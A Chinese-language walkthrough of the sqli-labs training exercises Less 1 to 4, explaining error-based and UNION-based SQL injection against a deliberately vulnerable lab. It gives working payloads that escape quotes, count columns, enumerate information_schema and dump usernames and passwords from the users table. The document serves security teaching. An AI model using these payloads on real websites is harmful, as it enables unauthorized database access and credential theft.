Sqli-labs Less 1~4

sql注入的定义:因为web应用程序对于用户输入的消息没有判断或过滤不严,导致攻击者可以在原先的查询语句中加入SQL语句,以此来欺骗数据库执行无授权的任意查询语句,从而得到相关的数据信息。
SQL语言是一种结构话查询语言,用于存取数据,查询和管理更新数据库
Less 1:
第一步:

Welcome Dhakkan
Please input the ID as parameter with numeric value
此时提醒我们输入带数值的id,所以此时提交?id=1
Welcome Dhakkan
Your Login name:Dumb
Your Password:Dumb
此时出现登入名和密码,而根据提示(GET-Error based-Single quotes-String)可以知道,这道关卡是要利用源码中基于单引号的错误来进行解决,那么我们就尝试在域名结尾加上一个’此时出现报错
Welcome Dhakkan
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1’’ LIMIT 0,1’ at line 1 此时提醒我们SQL语句有语法错误
此时查询源码由id=‘$id’可知当我们输入?id=1’时此时出现三个’,使得单引号无法正确对应,导致了语法错误;解决语法错误需要我们使用注释将多出来的单引号注释掉:–+或%23都是注释符#,这里补充%20代表空格,%27代表’
第二步:
此时我们需要判断是否存在SQL注入点:
这里使用%20and%201=1和%20and%201=2来判断是否存在注入点,and 1=1代表永恒为真,and 1=2代表永恒为假;当分别输入后若页面不一样则说明存在SQL注入点
第三步:
既然存在注入点,那么我们就需要想办法获取数据信息;接下来我们需要知道查询表的字段数,然后才可以使用union和select来查询我们需要的信息
1:使用

1
%20order%20by%20x%23 

查询字段数(采用二分法,主要还是靠猜)
2:所以注入以下代码

1
%20union%20select1,2,3

来获取显示界面的字段;在此之前需要将?id=1改成?id=-1;使得此id不在用户名范围内。此时发现用户名和密码对应的字段数为2和3;此时我们便可以用代码替代union语句中的2和3,将其组成新的select语句进行注入
3:

1
(select group_concat(schema_name) from information_schema.schemata) 

:此代码用于查询全部的数据库名称.database():此代码用于查询当前的数据库名称
这里补充一个知识点:数据存在数据表里面,而数据表存在数据库里面。所以当我们知道数据库名称时,便可以开始查询数据表名称了
4:

1
(select group_concat(table_name) from information_schema.tables where table_schema='数据库名')

:可以使用此代码查看数据表名称
数据存于数据表的列之中,我们现在需要继续获取列名,从而查询数据
这里我们需要获取users表的列名
5:

1
(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名')

:此代码为获取列名的代码
此时就可以开始获取我们需要的信息了
6:

1
select group_concat(列名) from 数据库名.数据表名

7:或者可以直接同时替换2,3;同时获取用户名和密码信息

1
(select%20group_concat(password)%20from%20security.users),(select%20group_concat(username)%20from%20security.users)

Less-2:
第一步:
此时提醒我们提交带数值参数的id:?id=1
接着我们在1后面加上单引号?id=1’
此时发现报错
此时我们对比Less-1的报错
Less-1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1’’ LIMIT 0,1’ at line 1
Less-2:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1
发现报错的地方不一样,所以我们查看源码

1
Less-1:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"
1
Less-2:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"

此时发现Less-2无单引号,所以我们不加单引号
此时发现Less-2的id=$id并不带单引号,所以此处我们不需要令?id=1’–+进行注释
所以我们直接提交?Id=1即可;接下来的步骤与Less-1一样:
1.先查看是否由注入点
2.然后查询字段数为使用union,select语句做准备
3.接下来使用新的select语句替换union中的2,3
4.查询数据库名称
5.有了数据库名称接下来查询数据表名称
6.因为数据存于数据表的列中,所以为我们查看数据表列名,至此我们就可以获取数据信息了
此时补充一个知识点:很多人一开始不知道为何要在SQL语句提交时要加入单引号’ 这个单引号的作用是使SQL语句不符合其语法规则,使其产生报错;当报错之后我们便可以知道是否有其他的过滤措施或者知道注入方式
小总结:
1:有关于Less1-4中有关判断id类型的方法
Less-1:

此时提醒我们输入一个带数值参数的id,此时我们在?id=1后面加一个’;此时产生报错

观察到’’1’’ LIMIT 0,1’此时我们将第一个引号和最后一个引号去掉,那是用来包裹这个句子的;
此时的报错为’1’’ LIMIT 0,1 此时咱们再次把咱们提交的id=1’去掉会发现sql的原生语句为’’ LIMIT 0,1;所以说明此网站的id类型为单引号包裹型
此时我们查看源码证明我们的判断是正确的

Less-2:

我们观察报错 ‘’ LIMIT 0,1’ 然后将首尾的引号去掉后变成’LIMIT 0,1 然后再次将id=1’去掉会发现此时sql的原生语句为LIMIT 0,1 所以此时的id类型为int类型无引号包裹
此时我们查看源码证明我们上述的判断是正确的

Less-3:

查看报错 ‘’1’’) LIMIT 0,1’ 去掉包裹得’1’’) LIMIT 0,1 去掉id=1’得sql的原生语句为 ‘’) LIMIT 0,1
此时发现右边的有个圆括号,所以此时猜想id=(‘$id’)的形式,所以当我们提交?id=1’时,此时的语句便会变成
id=(‘$id’’)便产生了sql语法错误而当我们像Less1-2使用注释符?id=1’%23时会将后面的语句全部注释掉,此时
的sql语句便会变成?id=(‘id’ 此时再次产生报错,所以我们为了语法正确我们需要使得右边的括号闭合,所以我们
令?id=1’)%23 此时的语句变会变成id=(‘1’)语法正确

此时我们查看源码证实了我们的猜想是正确的

Less-4:
此时提交?id=1’不产生报错,不急我们试一下?id=1”

观察’”1””) LIMIT 0,1’ 然后去掉包裹变成”1””) LIMIT 0,1 然后再去掉?id=1” 此时sql的原生语句便会变成
“1”) LIMIT 0,1 所以我们猜测id=(“$id”) 所以我们需要构造?id=1”)%23 使得sql语句正确

这里补充一个知识点呀:当我们构造语句时,要把我们构造的语句逃逸出来使其可以执行,而引号为闭合符的一种,可以使
语句闭合,然后我们构造的语句便可以执行了
2:解析这几关用到的sql语句

1
(select group_concat(schema_name) from information_schema.schemata)

此时对该sql语句进行解析:
在mysql中为了对方便对数据库的管理,mysql中会有一个自带的数据库:information_schema
而数据表存于数据库之中,数据存于数据表中;
schemata表:
schemata表中有schemata_name字段,在这个字段中存储了当前管理的所有的数据库的名称,我们可以通过
这张表获取所有数据库的名称

1
(select group_concat(table_name) from information_schema.tables where table_schema='数据库名')
1
select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名')

tables表:
tables表中的table_schema字段和table_name字段分别记录了数据库名称和该数据库下数据表的名称
columns表:
columns表中的table_schema和table_name分别记录了数据库名和数据库下数据表名,而colum_name则记录了数据表下字段的名称